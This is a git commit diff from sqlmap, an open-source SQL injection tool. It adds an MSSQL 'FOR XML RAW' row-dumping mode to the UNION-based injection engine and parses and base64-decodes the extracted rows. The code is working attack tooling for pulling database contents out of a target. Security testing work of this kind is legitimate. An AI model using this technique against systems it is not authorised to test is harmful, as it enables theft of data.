Implementation for an Issue #2025

This commit is contained in:
Miroslav Stampar 2016-07-14 23:18:28 +02:00
parent 2aaa486f7a
commit 6df4d73b09
4 changed files with 68 additions and 25 deletions

View File

@ -1858,6 +1858,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.dnsMode = False kb.dnsMode = False
kb.dnsTest = None kb.dnsTest = None
kb.docRoot = None kb.docRoot = None
kb.dumpColumns = None
kb.dumpTable = None kb.dumpTable = None
kb.dumpKeyboardInterrupt = False kb.dumpKeyboardInterrupt = False
kb.dynamicMarkings = [] kb.dynamicMarkings = []
@ -1941,6 +1942,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.responseTimeMode = None kb.responseTimeMode = None
kb.responseTimePayload = None kb.responseTimePayload = None
kb.resumeValues = True kb.resumeValues = True
kb.rowXmlMode = False
kb.safeCharEncode = False kb.safeCharEncode = False
kb.safeReq = AttribDict() kb.safeReq = AttribDict()
kb.singleLogFlags = set() kb.singleLogFlags = set()

View File

@ -19,7 +19,7 @@ from lib.core.enums import OS
from lib.core.revision import getRevisionNumber from lib.core.revision import getRevisionNumber
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.0.7.18" VERSION = "1.0.7.19"
REVISION = getRevisionNumber() REVISION = getRevisionNumber()
STABLE = VERSION.count('.') <= 2 STABLE = VERSION.count('.') <= 2
VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev") VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")

View File

@ -5,8 +5,10 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
import binascii
import re import re
import time import time
import xml.etree.ElementTree
from extra.safe2bin.safe2bin import safecharencode from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
@ -46,6 +48,7 @@ from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
from lib.core.settings import NULL
from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
@ -62,15 +65,18 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
threadData.resumed = retVal is not None threadData.resumed = retVal is not None
if retVal is None: if retVal is None:
# Prepare expression with delimiters
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
# Forge the UNION SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8] if not kb.rowXmlMode:
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where) payload = agent.payload(newValue=query, where=where)
# Perform the request # Perform the request
@ -78,22 +84,47 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
incrementCounter(PAYLOAD.TECHNIQUE.UNION) incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact UNION-based if not kb.rowXmlMode:
# SQL injection output # Parse the returned page to get the exact UNION-based
def _(regex): # SQL injection output
return reduce(lambda x, y: x if x is not None else y, (\ def _(regex):
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
None) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases # Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed" warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop) page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row[^>]+>)+)", page)
if output:
retVal = ""
root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output)
for column in kb.dumpColumns:
base64 = True
for child in root:
child.attrib[column] = child.attrib.get(column, "").encode("base64")
try:
child.attrib.get(column, "").decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
if retVal is not None: if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding) retVal = getUnicode(retVal, kb.pageEncoding)
@ -103,7 +134,8 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
else:
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed: if trimmed:
@ -174,6 +206,13 @@ def unionUse(expression, unpack=True, dump=False):
# Set kb.partRun in case the engine is called from the API # Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it # Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
@ -186,7 +225,7 @@ def unionUse(expression, unpack=True, dump=False):
# SQL limiting the query output one entry at a time # SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can # NOTE: we assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
kb.forcePartialUnion or \ kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \

View File

@ -137,6 +137,7 @@ class Entries:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
kb.dumpColumns = colList
colNames = colString = ", ".join(column for column in colList) colNames = colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
@ -370,6 +371,7 @@ class Entries:
logger.critical(errMsg) logger.critical(errMsg)
finally: finally:
kb.dumpColumns = None
kb.dumpTable = None kb.dumpTable = None
def dumpAll(self): def dumpAll(self):